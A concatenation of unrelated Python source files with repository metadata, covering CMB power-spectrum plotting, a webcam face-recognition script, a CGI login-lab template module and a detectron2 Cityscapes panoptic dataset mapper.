plt.savefig(root+'/residual_%s_%s_%s_%s_block%s.pdf'%(self.fig_prefix,self.map_type,self.map_n,self.randn_marker,self.block_n), bbox_inches='tight') def get_dl(self, fwhm=None, aposize=1, nlb=None, bin_residual=True): ''' aposize : float or None nlb : int or None ''' if nlb is None: self.nlb = math.ceil(1/self.fsky) else: self.nlb = nlb self.cmb_sp = spherical.Block2Full(self.cmb, self.block_n).full() self.cmb_ML_sp = spherical.Block2Full(self.cmb_ML, self.block_n).full() self.ell, self.dl = namaster_dl_TT_QQ_UU(self.cmb_sp, self.mask, bl=self.bl(fwhm=fwhm), nside=self.nside, aposize=aposize, nlb=self.nlb) self.ell, self.dl_ML = namaster_dl_TT_QQ_UU(self.cmb_ML_sp, self.mask, bl=self.bl(fwhm=fwhm), nside=self.nside, aposize=aposize, nlb=self.nlb) self.mse_map = mse(self.cmb, self.cmb_ML) self.mse_dl = mse(self.dl, self.dl_ML)## print('mseSpectra:%s'%self.mse_dl) self.dl_diff = self.dl_ML - self.dl if bin_residual: self.ell_bined = [np.mean(self.ell[i*self.bin_lengh:(i+1)*self.bin_lengh]) for i in range(self.bin_n)] self.dl_diff_bined = [self.dl_diff[i*self.bin_lengh:(i+1)*self.bin_lengh] for i in range(self.bin_n)] self.dl_diff_bined_best = [np.mean(self.dl_diff_bined[i]) for i in range(self.bin_n)] self.dl_diff_bined_err = [np.std(self.dl_diff_bined[i]) for i in range(self.bin_n)] def plot_dl(self, savefig=False, root='figures', one_panel=True, show_title=False, title_str=None, show_mse=False, fwhm=None, aposize=1, nlb=None, bin_residual=True): if self.ell is None: self.get_dl(fwhm=fwhm, aposize=aposize, nlb=nlb, bin_residual=bin_residual) if one_panel: fig_spectra = plt.figure(figsize=(6*1.2, 4.5*1.2)) fig_spectra.subplots_adjust(hspace=0) gs = gridspec.GridSpec(2, 1, height_ratios=[3, 1]) ticks_size = 12 + 4 fontsize = 16 + 2 else: gs = gridspec.GridSpec(3, 2, height_ratios=[5.5, 3, 1]) ticks_size = 12 fontsize = 18 if one_panel: ax_0 = plt.subplot(gs[0]) else: ax_0 = plt.subplot(gs[3]) ax_0 = pls.PlotSettings().setting(ax=ax_0,labels=[r'$\ell$', r'$D_\ell^{%s}[\mu k^2]$'%self.dl_type], ticks_size=ticks_size,show_xticks=False,minor_locator_N=8,major_locator_N=5) if self.fig_type=='obs': ax_0.plot(self.ell, self.dl, label='Planck CMB') elif self.fig_type=='test': ax_0.plot(self.ell, self.dl, label='Simulated CMB') if self.map_type=='I': ax_0.plot(self.ell, self.dl_ML, label='Recovered CMB') ax_0.set_xlim(0, self.xlim_max) ax_0.set_ylim(10, 7100) # if self.fig_type=='obs': # ax_0.set_ylim(10, 8000) # else: # ax_0.set_ylim(10, 7500) else: ax_0.plot(self.ell, self.dl_ML, 'r', label='Recovered CMB') ## *2 !!! ax_0.set_xlim(0, self.xlim_max) # ax_0.set_ylim(0.001, 2.6) if show_mse: ax_0.text(self.lmax*0.62, max(self.dl)*0.4, r'$MSE_{CMB}:%.2f$'%self.mse_map, fontsize=fontsize) ax_0.text(self.lmax*0.62, max(self.dl)*0.3, r'$MSE_{D_\ell}:%.2f$'%self.mse_dl, fontsize=fontsize) ax_0.legend(fontsize=fontsize) if show_title: if self.freq_num==1: if title_str is None: plt.title('%s frequency: %s'%(self.freq_num, self.input_freqs), fontsize=fontsize) else: plt.title(title_str, fontsize=fontsize) else: if title_str is None: plt.title('%s frequencies: %s'%(self.freq_num, self.input_freqs), fontsize=fontsize) else: plt.title(title_str, fontsize=fontsize) if one_panel: ax_1 = plt.subplot(gs[1]) else: ax_1 = plt.subplot(gs[5]) ax_1 = pls.PlotSettings().setting(ax=ax_1,labels=[r'$\ell$', r'$\Delta D_\ell^{%s}[\mu k^2]$'%self.dl_type], ticks_size=ticks_size,minor_locator_N=8,major_locator_N=5) ax_1.plot([0, max(self.ell)], [0,0], '--', color=pl.fiducial_colors[9]) if bin_residual: ax_1.errorbar(self.ell_bined, self.dl_diff_bined_best, yerr=self.dl_diff_bined_err, fmt='.') else: ax_1.plot(self.ell, self.dl_diff, color=pl.fiducial_colors[8]) if not savefig: plt.plot([768,768], [-280,280])### plt.plot([1000,1000], [-280,280])### plt.plot([1250,1250], [-280,280])### plt.plot([1300,1300], [-280,280])### ax_1.set_xlim(0, self.xlim_max) if self.map_type=='I': ax_1.set_ylim(-100, 100) else: ax_1.set_ylim(-0.5, 0.5) if savefig: if self.extra_suffix: pl.savefig(root, 'spectra_%s_%s_%s_%s_block%s_%s.pdf'%(self.fig_prefix,self.map_type,self.map_n,self.randn_marker,self.block_n,self.extra_suffix), fig_spectra) else: pl.savefig(root, 'spectra_%s_%s_%s_%s_block%s.pdf'%(self.fig_prefix,self.map_type,self.map_n,self.randn_marker,self.block_n), fig_spectra) def plot_all(self, savefig=False, root='figures', fwhm=None, aposize=1, nlb=None, bin_residual=True): if self.ell is None: self.get_dl(fwhm=fwhm, aposize=aposize, nlb=nlb, bin_residual=bin_residual) fig = plt.figure(figsize=(6*1.2*2, 4.5*1.2*2)) fig.subplots_adjust(wspace=0.2, hspace=0.2) pls.PlotSettings().setting(location=(2,2,1),set_labels=False) self.plot_cmb(hold=True, one_panel=False) pls.PlotSettings().setting(location=(2,2,2),set_labels=False) self.plot_cmb_ML(hold=True, one_panel=False) pls.PlotSettings().setting(location=(2,2,3),set_labels=False) self.plot_residual(hold=True, one_panel=False) # pls.PlotSettings().setting(location=(2,2,4),set_labels=False) self.plot_dl(one_panel=False, show_title=True, show_mse=True, fwhm=fwhm, aposize=aposize, nlb=nlb)#True # plt.suptitle(self.case_labels[str(self.case)], fontsize=22) if savefig: if self.extra_suffix: pl.savefig(root, '%s_%s_%s_%s_block%s_%s.pdf'%(self.fig_prefix,self.map_type,self.map_n,self.randn_marker,self.block_n,self.extra_suffix), fig) else: pl.savefig(root, '%s_%s_%s_%s_block%s.pdf'%(self.fig_prefix,self.map_type,self.map_n,self.randn_marker,self.block_n), fig) def _get_miniPatch(self, Map): ''' select a 3*3 deg^2 patch ''' ps = spherical.PixelSize(nside=self.nside) patch_size = int(3/ps.pixel_length) start_pix = (self.nside-patch_size)//2 patch_0 = Map[start_pix:start_pix+patch_size, :patch_size] patch_1 = Map[start_pix:start_pix+patch_size, start_pix:start_pix+patch_size] patch_2 = Map[start_pix:start_pix+patch_size, -patch_size:] return [patch_0, patch_1, patch_2] def get_miniPatch(self): self.cmb_miniBatches = self._get_miniPatch(self.cmb) self.cmb_ML_miniBatches = self._get_miniPatch(self.cmb_ML) self.residual_map_miniBatches = self._get_miniPatch(self.residual_map) def plot_miniPatch(self, savefig=False, root='figures'): self.get_miniPatch() fig = plt.figure(figsize=(3*3, 3*3)) fig.subplots_adjust(left=0,bottom=0,right=1,top=1,wspace=0.15,hspace=0.25) for row in range(3): for column in range(3): pls.PlotSettings().setting(location=(3,3,row*3+column+1),set_labels=False,minor_locator_N=1) # plt.subplot(3,3,row*3+column+1) if row==0: im = plt.imshow(self.cmb_miniBatches[column], cmap='jet', vmin=-500, vmax=500) if self.fig_type=='obs': plt.title('Planck CMB', fontsize=16) elif self.fig_type=='test': plt.title('Simulated CMB', fontsize=16) elif row==1: im = plt.imshow(self.cmb_ML_miniBatches[column], cmap='jet', vmin=-500, vmax=500) plt.title('Recovered CMB', fontsize=16) if column==2: cbar_ax = fig.add_axes([1.01, 0.358, 0.015, 0.641]) plt.colorbar(im, cax=cbar_ax) elif row==2: im = plt.imshow(self.residual_map_miniBatches[column], cmap='jet', vmin=-10, vmax=10) plt.title('Residual', fontsize=16) if column==2: cbar_ax = fig.add_axes([1.01, 0., 0.015, 0.287]) plt.colorbar(im, cax=cbar_ax) if savefig: utils.mkdir(root) if self.extra_suffix: plt.savefig(root + '/miniPatch_%s_%s_%s_%s_block%s_%s.pdf'%(self.fig_prefix,self.map_type,self.map_n,self.randn_marker,self.block_n,self.extra_suffix), bbox_inches='tight') else: plt.savefig(root + '/miniPatch_%s_%s_%s_%s_block%s.pdf'%(self.fig_prefix,self.map_type,self.map_n,self.randn_marker,self.block_n), bbox_inches='tight') #%% class PlotCMB_EEBB(object): def __init__(self, cmb_qu, cmb_ML_qu, map_n=0, nside=512, block_n=0, randn_marker='',extra_suffix=''): self.cmb_qu = cmb_qu self.cmb_ML_qu = cmb_ML_qu self.map_n = map_n self.nside = nside self.block_n = block_n self.randn_marker = randn_marker self.extra_suffix = extra_suffix self.ell = None @property def lmax(self): if self.nside==512: self.xlim_max = 1500 elif self.nside==256: self.xlim_max = 760 return 3*self.nside - 1 @property def bin_lengh(self): return 6 #6*nlb = 30, let nlb=5 @property def bin_n(self): return int(math.ceil( (self.lmax-1)/float(self.bin_lengh) )) @property def fig_prefix(self): return 'simcmb' def mask_manual(self): mask_0 = np.ones((self.nside, self.nside)) self.mask = spherical.Block2Full(mask_0, self.block_n).full() self.fsky = np.count_nonzero(self.mask) / float(len(self.mask)) def bl_fwhm(self, fwhm): bl = hp.gauss_beam(fwhm*np.pi/10800., lmax=self.lmax) return bl[:self.lmax+1] def get_dl(self, fwhm=None, aposize=1, nlb=None, bin_residual=True): ''' aposize : float or None nlb : int or None ''' # self.get_fiducial_dls() if nlb is None: self.nlb = math.ceil(1/self.fsky) else: self.nlb = nlb self.ell, self.dl = namaster_dl_EE_BB(self.cmb_qu, self.mask, bl=self.bl_fwhm(fwhm=fwhm), nside=self.nside, aposize=aposize, nlb=self.nlb) self.ell, self.dl_ML = namaster_dl_EE_BB(self.cmb_ML_qu, self.mask, bl=self.bl_fwhm(fwhm=fwhm), nside=self.nside, aposize=aposize, nlb=self.nlb) self.dl_EE, self.dl_BB = self.dl[0], self.dl[3] self.dl_ML_EE, self.dl_ML_BB = self.dl_ML[0], self.dl_ML[3] self.diff_EE = self.dl_ML_EE - self.dl_EE self.diff_BB = self.dl_ML_BB - self.dl_BB # print(self.diff_BB) #bined ell & dl residual if bin_residual: self.ell_bined = [np.mean(self.ell[i*self.bin_lengh:(i+1)*self.bin_lengh]) for i in range(self.bin_n)] #residual of EE self.diff_EE_bined = [self.diff_EE[i*self.bin_lengh:(i+1)*self.bin_lengh] for i in range(self.bin_n)] self.diff_EE_bined_best = [np.mean(self.diff_EE_bined[i]) for i in range(self.bin_n)] self.diff_EE_bined_err = [np.std(self.diff_EE_bined[i]) for i in range(self.bin_n)] #residual of BB self.diff_BB_bined = [self.diff_BB[i*self.bin_lengh:(i+1)*self.bin_lengh] for i in range(self.bin_n)] self.diff_BB_bined_best = [np.mean(self.diff_BB_bined[i]) for i in range(self.bin_n)] self.diff_BB_bined_err = [np.std(self.diff_BB_bined[i]) for i in range(self.bin_n)] def plot_dl(self, savefig=False, root='figures', dl_type='', bin_residual=True): ''' dl_type: EE or BB ''' fig_spectra = plt.figure(figsize=(6*1.*2, 4.5*1.)) fig_spectra.subplots_adjust(left=0, bottom=0, right=1, top=1, wspace=0.23) # gs = gridspec.GridSpec(2, 1, height_ratios=[3, 1]) ticks_size = 12 #+ 4 fontsize = 16 #+ 2 ax_0 = pls.PlotSettings().setting(location=[1,2,1],labels=[r'$\ell$', r'$D_\ell^{%s}[\mu k^2]$'%dl_type], ticks_size=ticks_size,show_xticks=False,minor_locator_N=8,major_locator_N=5) ax_0.loglog(self.ell, eval('self.dl_%s'%dl_type), label='Simulated CMB') ax_0.loglog(self.ell, eval('self.dl_ML_%s'%dl_type), label='Recovered CMB') ax_0.set_xlim(0, self.xlim_max) # if dl_type=='EE': # ax_0.set_ylim(-0.05, 0.05) # elif dl_type=='BB': # ax_0.set_ylim(-0.003, 0.003) ax_0.legend(loc=2, fontsize=fontsize) ax_1 = pls.PlotSettings().setting(location=[1,2,2],labels=[r'$\ell$', r'$\Delta D_\ell^{%s}[\mu k^2]$'%dl_type], ticks_size=ticks_size,minor_locator_N=8,major_locator_N=5) ax_1.plot([0, max(self.ell)], [0,0], '--', color=pl.fiducial_colors[9]) if bin_residual: ax_1.errorbar(self.ell_bined, eval('self.diff_%s_bined_best'%dl_type), yerr=eval('self.diff_%s_bined_err'%dl_type), fmt='.') else: ax_1.plot(self.ell, eval('self.diff_%s'%dl_type), color=pl.fiducial_colors[8]) ax_1.set_xlim(0, self.xlim_max) if dl_type=='EE': # pass ax_1.set_ylim(-0.9, 0.1) # ax_1.set_ylim(-2e-5, 2e-5) #test, plot CL elif dl_type=='BB': ax_1.set_ylim(-0.04, 0.04) if not savefig: plt.plot([768,768], [-280,280])### plt.plot([1000,1000], [-280,280])### plt.plot([1250,1250], [-280,280])### plt.plot([1300,1300], [-280,280])### if savefig: if self.extra_suffix: pl.savefig(root+'/pdf', 'spectra_%s_%s_%s_%s_block%s_%s.pdf'%(self.fig_prefix,dl_type,self.map_n,self.randn_marker,self.block_n,self.extra_suffix), fig_spectra) pl.savefig(root+'/jpg', 'spectra_%s_%s_%s_%s_block%s_%s.jpg'%(self.fig_prefix,dl_type,self.map_n,self.randn_marker,self.block_n,self.extra_suffix), fig_spectra) else: pl.savefig(root+'/pdf', 'spectra_%s_%s_%s_%s_block%s.pdf'%(self.fig_prefix,dl_type,self.map_n,self.randn_marker,self.block_n), fig_spectra) pl.savefig(root+'/jpg', 'spectra_%s_%s_%s_%s_block%s.jpg'%(self.fig_prefix,dl_type,self.map_n,self.randn_marker,self.block_n), fig_spectra) def plot_all(self, savefig=False, root='figures', fwhm=None, aposize=1, nlb=None, bin_residual=True): if self.ell is None: self.get_dl(fwhm=fwhm, aposize=aposize, nlb=nlb, bin_residual=True) self.plot_dl(savefig=savefig, root=root, dl_type='EE') #EE self.plot_dl(savefig=savefig, root=root, dl_type='BB') #BB #%% RMS of the residual maps def mask_latitude(Map, nside=256, degree=30, inclusive=False, start_southPole=True): ''' mask the map according to latitude :param start_southPole: if True, start from the south pole, otherwise, start from the north pole ''' npix = hp.nside2npix(nside) if start_southPole: theta, phi = hp.pix2ang(nside=nside, ipix=npix-1) else: theta, phi = hp.pix2ang(nside=nside, ipix=0) idx_list = hp.query_disc(nside=nside, vec=hp.ang2vec(theta=theta, phi=phi), radius=degree/180.*np.pi, inclusive=inclusive) mask = np.zeros(npix) mask[idx_list] = 1 map_mask = Map * mask return map_mask, idx_list def get_RMS(Map, nside=256, degree_bin=10, inclusive=False): rms_num = 180//degree_bin rms_all = [] for i in range(rms_num): mask_1, idx_1 = mask_latitude(Map, nside=nside, degree=degree_bin*i, inclusive=inclusive) mask_2, idx_2 = mask_latitude(Map, nside=nside, degree=degree_bin*(i+1), inclusive=inclusive) diff = mask_2 - mask_1 pix_num = len(idx_2) - len(idx_1) rms_all.append( np.sqrt(sum(diff**2)/pix_num) )# RMS, this is right !!! rms_all = np.array(rms_all) degs = np.arange(-90, 90, degree_bin) + degree_bin/2. return degs, rms_all #%% calcualte cosmic variance def cosmic_variance(ell, get_std=True): ''' sigma^2 = (delta_C_ell/C_ell)^2 = 2/(2*ell + 1) ''' cv = 2/(2*ell + 1) if get_std: return np.sqrt(cv) else: return cv
43.287119
188
0.595416
e09a57fdeb86422c954754b01621e7ae486fc69c
232
py
Python
ersilia/db/hubdata/tables.py
ersilia-os/ersilia
eded117d6c7029ce4a497effdb514c21edfe3673
[ "MIT" ]
32
2020-07-30T20:31:05.000Z
2022-03-31T17:27:14.000Z
ersilia/db/hubdata/tables.py
ersilia-os/ersilia
eded117d6c7029ce4a497effdb514c21edfe3673
[ "MIT" ]
59
2022-03-21T10:00:04.000Z
2022-03-31T23:03:14.000Z
ersilia/db/hubdata/tables.py
ersilia-os/ersilia
eded117d6c7029ce4a497effdb514c21edfe3673
[ "MIT" ]
44
2022-03-17T13:11:07.000Z
2022-03-31T19:44:16.000Z
import boto3 class DynamoDbTable(object): def __init__(self): pass class PredictionsTable(DynamoDbTable): def __init__(self): pass class ModelsTable(DynamoDbTable): def __init__(self): pass
13.647059
38
0.668103
d86b61afcee259774ea259045eeddfe085769f3f
1,325
py
Python
Thief Detection System/Model-1/detect.py
sams14/PropTech-Hackathon
b4d750918d4bc1f141f3778647d1a928fd37266d
[ "MIT" ]
1
2021-07-31T14:55:04.000Z
2021-07-31T14:55:04.000Z
Thief Detection System/Model-1/detect.py
sams14/PropTech-Hackathon
b4d750918d4bc1f141f3778647d1a928fd37266d
[ "MIT" ]
null
null
null
Thief Detection System/Model-1/detect.py
sams14/PropTech-Hackathon
b4d750918d4bc1f141f3778647d1a928fd37266d
[ "MIT" ]
null
null
null
import numpy as np import cv2 import matplotlib.pyplot as plt from keras.models import load_model print('model loading...') model = load_model('face_CET.h5') print('model loaded') def preprocess(img): img = cv2.resize(img,(200,200)) img = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY) img = img.reshape(1,200,200,1) img = img/255 return img face_data = "haarcascade_frontalface_default.xml" classifier = cv2.CascadeClassifier(cv2.data.haarcascades + face_data) label_map = ['bishal', 'debashish' ,'deepak', 'hitesh', 'sambid'] video_capture = cv2.VideoCapture(0) ret = True while ret: ret, frame = video_capture.read() image = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) faces = classifier.detectMultiScale(image,1.2,5) for x,y,w,h in faces: face_img = frame[y:y+h,x:x+w].copy() # face_img = np.array(face_img) # face_img = np.expand_dims(face_img, axis=0) face_img = preprocess(face_img) pred = np.argmax(model.predict(face_img), axis=-1) # model.predict_classes(face_img)[0] # print(pred) cv2.rectangle(frame,(x,y),(x+w,y+h),(0,0,255),5) cv2.putText(frame,label_map[pred[0]],(x,y),cv2.FONT_HERSHEY_PLAIN,3,(0,0,255),3) cv2.imshow('live video',frame) if cv2.waitKey(1)==ord('q'): break cv2.destroyAllWindows()
31.547619
95
0.669434
3e89da075e1e7b0f70bbbb82fd91e99a6cf0b25a
3,301
py
Python
templates.py
jha8/cgi-lab
1229f8ccb5036c76ba9bc6bbf55e00921fa5d822
[ "Apache-2.0" ]
null
null
null
templates.py
jha8/cgi-lab
1229f8ccb5036c76ba9bc6bbf55e00921fa5d822
[ "Apache-2.0" ]
null
null
null
templates.py
jha8/cgi-lab
1229f8ccb5036c76ba9bc6bbf55e00921fa5d822
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python3 # -*- coding: UTF-8 -*- # Copyright 2016 Eddie Antonio Santos <easantos@ualberta.ca> # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ Roll my own "template system". """ import cgi import cgitb cgitb.enable() # from cgi import escape from html import escapse __all__ = ['login_page', 'secret_page', 'after_login_incorrect'] def login_page(): """ Returns the HTML for the login page. """ return _wrapper(r""" <h1> Welcome! </h1> <form method="POST" action="login.py"> <label> <span>Username:</span> <input autofocus type="text" name="username"></label> <br> <label> <span>Password:</span> <input type="password" name="password"></label> <button type="submit"> Login! </button> </form> """) def secret_page(username=None, password=None): """ Returns the HTML for the page visited after the user has logged-in. """ if username is None or password is None: raise ValueError("You need to pass both username and password!") return _wrapper(""" <h1> Welcome, {username}! </h1> <p> <small> Pst! I know your password is <span class="spoilers"> {password}</span>. </small> </p> """.format(username=escape(username.capitalize()), password=escape(password))) def after_login_incorrect(): """ Returns the HTML for the page when the login credentials were typed incorrectly. """ return _wrapper(r""" <h1> Login incorrect :c </h1> <p> Incorrect username or password (hint: <span class="spoilers"> Check <code>secret.py</code>!</span>) <p> <a href="login.py"> Try again. </a> """) def _wrapper(page): """ Wraps some text in common HTML. """ return (""" <!DOCTYPE HTML> <html> <head> <meta charset="utf-8"> <style> body { font-family: -apple-system, BlinkMacSystemFont, sans-serif; max-width: 24em; margin: auto; color: #333; background-color: #fdfdfd } .spoilers { color: rgba(0,0,0,0); border-bottom: 1px dashed #ccc } .spoilers:hover { transition: color 250ms; color: rgba(36, 36, 36, 1) } label { display: flex; flex-direction: row; } label > span { flex: 0; } label> input { flex: 1; } button { font-size: larger; float: right; margin-top: 6px; } </style> </head> <body> """ + page + """ </body> </html> """)
25.007576
97
0.557104
04027b722b61e15a71dcfaebab56da5c07e9ab62
9,249
py
Python
projects/PanopticFCN_cityscapes/data/cityscapes/dataset_mapper.py
fatihyildiz-cs/detectron2
700b1e6685ca95a60e27cb961f363a2ca7f30d3c
[ "Apache-2.0" ]
4
2021-07-13T13:36:38.000Z
2022-01-27T09:51:26.000Z
projects/PanopticFCN_cityscapes/data/cityscapes/dataset_mapper.py
fatihyildiz-cs/detectron2
700b1e6685ca95a60e27cb961f363a2ca7f30d3c
[ "Apache-2.0" ]
null
null
null
projects/PanopticFCN_cityscapes/data/cityscapes/dataset_mapper.py
fatihyildiz-cs/detectron2
700b1e6685ca95a60e27cb961f363a2ca7f30d3c
[ "Apache-2.0" ]
2
2021-09-10T11:26:26.000Z
2022-01-27T09:51:40.000Z
# Copyright (c) Facebook, Inc. and its affiliates. # Adapted from detectron2/data/dataset_mapper.py import copy import logging import numpy as np from typing import Callable, List, Union import torch import pycocotools from detectron2.config import configurable from detectron2.data import MetadataCatalog from detectron2.data import detection_utils as utils from detectron2.data import transforms as T from detectron2.structures import BoxMode from data.cityscapes.augmentations import RandomCropWithInstance, AugInput __all__ = ["CityscapesPanopticDatasetMapper"] class CityscapesPanopticDatasetMapper: """ A callable which takes a dataset dict in Detectron2 Dataset format, and map it into a format used by the model. This is the default callable to be used to map your dataset dict into training data. You may need to follow it to implement your own one for customized logic, such as a different way to read or transform images. See :doc:`/tutorials/data_loading` for details. The callable currently does the following: 1. Read the image from "file_name" 2. Applies cropping/geometric transforms to the image and annotations 3. Prepare data and annotations to Tensor and :class:`Instances` """ @configurable def __init__( self, cfg, is_train: bool, *, augmentations: List[Union[T.Augmentation, T.Transform]], image_format: str, use_instance_mask: bool = False, instance_mask_format: str = "polygon", recompute_boxes: bool = False, ): """ NOTE: this interface is experimental. Args: cfg: config dict is_train: whether it's used in training or inference augmentations: a list of augmentations or deterministic transforms to apply image_format: an image format supported by :func:`detection_utils.read_image`. use_instance_mask: whether to process instance segmentation annotations, if available instance_mask_format: one of "polygon" or "bitmask". Process instance segmentation masks into this format. recompute_boxes: whether to overwrite bounding box annotations by computing tight bounding boxes from instance mask annotations. """ if recompute_boxes: assert use_instance_mask, "recompute_boxes requires instance masks" # fmt: off self.cfg = cfg dataset_names = self.cfg.DATASETS.TRAIN self.meta = MetadataCatalog.get(dataset_names[0]) self.is_train = is_train self.augmentations = T.AugmentationList(augmentations) self.image_format = image_format self.use_instance_mask = use_instance_mask self.instance_mask_format = instance_mask_format self.recompute_boxes = recompute_boxes # fmt: on logger = logging.getLogger(__name__) mode = "training" if is_train else "inference" logger.info(f"[DatasetMapper] Augmentations used in {mode}: {augmentations}") @classmethod def from_config(cls, cfg, is_train: bool = True): augs = utils.build_augmentation(cfg, is_train) if cfg.INPUT.CROP.ENABLED and is_train: if cfg.INPUT.CROP.MINIMUM_INST_AREA == 0: augs.insert(1, T.RandomCrop(cfg.INPUT.CROP.TYPE, cfg.INPUT.CROP.SIZE)) else: assert cfg.INPUT.CROP.MINIMUM_INST_AREA > 0 augs.insert(1, RandomCropWithInstance(cfg.INPUT.CROP.TYPE, cfg.INPUT.CROP.SIZE, cfg.INPUT.CROP.MINIMUM_INST_AREA)) recompute_boxes = cfg.MODEL.MASK_ON else: recompute_boxes = False ret = { "cfg": cfg, "is_train": is_train, "augmentations": augs, "image_format": cfg.INPUT.FORMAT, "use_instance_mask": cfg.MODEL.MASK_ON, "instance_mask_format": cfg.INPUT.MASK_FORMAT, "recompute_boxes": recompute_boxes, } return ret def __call__(self, dataset_dict): """ Args: dataset_dict (dict): Metadata of one image, in Detectron2 Dataset format. Returns: dict: a format that builtin models in detectron2 accept """ dataset_dict = copy.deepcopy(dataset_dict) # it will be modified by code below # USER: Write your own image loading if it's not from a file image = utils.read_image(dataset_dict["file_name"], format=self.image_format) utils.check_image_size(dataset_dict, image) things_classes = list(self.meta.thing_dataset_id_to_contiguous_id.values()) stuff_classes = np.array(list(self.meta.stuff_dataset_id_to_contiguous_id.values())) # USER: Remove if you don't do semantic/panoptic segmentation. if "pan_seg_file_name" in dataset_dict: pan_seg_gt = utils.read_image(dataset_dict.pop("pan_seg_file_name")) pan_seg_gt = pan_seg_gt[:, :, 0] + 256 * pan_seg_gt[:, :, 1] + 256 * 256 * pan_seg_gt[:, :, 2] else: raise NotImplementedError("Currently only possible if pan seg GT image file name is given") # pan_seg_gt = None inst_map = np.zeros_like(pan_seg_gt, dtype=np.uint8) # Create annotations in desired instance segmentation format annotations = list() for segment in dataset_dict['segments_info']: if segment['category_id'] in things_classes: annotation = dict() annotation['bbox'] = segment['bbox'] annotation['bbox_mode'] = BoxMode.XYWH_ABS annotation['category_id'] = self.meta.contiguous_id_to_thing_train_id[segment['category_id']] mask = (pan_seg_gt == segment['id']).astype(np.uint8) if segment['iscrowd'] == 0: inst_map = inst_map + mask annotation['segmentation'] = pycocotools.mask.encode(np.asarray(mask, order="F")) annotation['iscrowd'] = segment['iscrowd'] annotations.append(annotation) if np.any(inst_map > 1): raise ValueError("There cannot be multiple instances at a single pixel") if len(annotations) > 0: dataset_dict['annotations'] = annotations # USER: Remove if you don't do semantic/panoptic segmentation. if "sem_seg_file_name" in dataset_dict: sem_seg_gt_tmp = utils.read_image(dataset_dict.pop("sem_seg_file_name"), "L").squeeze(2) else: raise NotImplementedError("Currently only possible if sem seg GT image file name is given") # sem_seg_gt = None # For Cityscapes, the contiguous ids for stuff are equal to the stuff train ids. Change for other datasets. if self.cfg.MODEL.POSITION_HEAD.STUFF.ALL_CLASSES: sem_seg_gt = np.where(np.isin(sem_seg_gt_tmp, stuff_classes), sem_seg_gt_tmp, self.meta.ignore_label) else: if self.cfg.MODEL.POSITION_HEAD.STUFF.WITH_THING: sem_seg_gt = np.where(np.isin(sem_seg_gt_tmp, stuff_classes), sem_seg_gt_tmp + 1, self.meta.ignore_label) # Set things class pixels to 0 sem_seg_gt = np.where(np.isin(sem_seg_gt_tmp, np.array(things_classes)), 0, sem_seg_gt) else: sem_seg_gt = np.where(np.isin(sem_seg_gt_tmp, stuff_classes), sem_seg_gt_tmp + 1, self.meta.ignore_label) aug_input = AugInput(image, sem_seg=sem_seg_gt, inst_map=inst_map) transforms = self.augmentations(aug_input) image, sem_seg_gt = aug_input.image, aug_input.sem_seg image_shape = image.shape[:2] # h, w # Pytorch's dataloader is efficient on torch.Tensor due to shared-memory, # but not efficient on large generic data structures due to the use of pickle & mp.Queue. # Therefore it's important to use torch.Tensor. dataset_dict["image"] = torch.as_tensor(np.ascontiguousarray(image.transpose(2, 0, 1))) if sem_seg_gt is not None: dataset_dict["sem_seg"] = torch.as_tensor(sem_seg_gt.astype("long")) if not self.is_train: # USER: Modify this if you want to keep them for some reason. dataset_dict.pop("annotations", None) dataset_dict.pop("sem_seg_file_name", None) return dataset_dict if "annotations" in dataset_dict: # USER: Modify this if you want to keep them for some reason. for anno in dataset_dict["annotations"]: if not self.use_instance_mask: anno.pop("segmentation", None) # USER: Implement additional transformations if you have other types of data annos = [ utils.transform_instance_annotations( obj, transforms, image_shape ) for obj in dataset_dict.pop("annotations") if obj.get("iscrowd", 0) == 0 ] instances = utils.annotations_to_instances( annos, image_shape, mask_format=self.instance_mask_format ) # After transforms such as cropping are applied, the bounding box may no longer # tightly bound the object. As an example, imagine a triangle object # [(0,0), (2,0), (0,2)] cropped by a box [(1,0),(2,2)] (XYXY format). The tight # bounding box of the cropped triangle should be [(1,0),(2,1)], which is not equal to # the intersection of original bounding box and the cropping box. if self.recompute_boxes and len(instances) > 0: instances.gt_boxes = instances.gt_masks.get_bounding_boxes() dataset_dict["instances"] = utils.filter_empty_instances(instances) if len(dataset_dict['instances']) == 0: del dataset_dict["instances"] return dataset_dict
41.290179
113
0.697048
d8448caeba16b979c9ff5707d328b907fc2e7114
95
py
Python
code_gazay/salt/src/components/TernausNetV2/abn/__init__.py
artyompal/kaggle_salt
3c323755730745ac7bbfd106f1f20919cceef0ee
[ "MIT" ]
null
null
null
code_gazay/salt/src/components/TernausNetV2/abn/__init__.py
artyompal/kaggle_salt
3c323755730745ac7bbfd106f1f20919cceef0ee
[ "MIT" ]
1
2021-03-25T23:31:26.000Z
2021-03-25T23:31:28.000Z
code_gazay/salt/src/components/TernausNetV2/abn/__init__.py
artyompal/kaggle_salt
3c323755730745ac7bbfd106f1f20919cceef0ee
[ "MIT" ]
1
2018-11-08T09:30:38.000Z
2018-11-08T09:30:38.000Z
from .bn import ABN, InPlaceABN, InPlaceABNWrapper from .residual import IdentityResidualBlock
31.666667
50
0.852632
f7a1231e5ca25cb855f87d50eb014c851eddf4e0
1,253
py
Python
ML/Minor/code/common/generate_images_labels.py
SIgnlngX/Minor-Project
f000e16c67f8ce738af96556c161e9087d7bee0f
[ "MIT" ]
4
2017-10-09T19:00:08.000Z
2019-02-04T14:05:58.000Z
ML/Minor/code/common/generate_images_labels.py
SIgnlngX/Minor-Project
f000e16c67f8ce738af96556c161e9087d7bee0f
[ "MIT" ]
6
2017-10-07T05:46:59.000Z
2017-12-17T06:57:43.000Z
ML/Minor/code/common/generate_images_labels.py
SIgnlngX/sign-language-interpreter
f000e16c67f8ce738af96556c161e9087d7bee0f
[ "MIT" ]
8
2017-10-06T11:21:07.000Z
2021-05-02T18:40:41.000Z
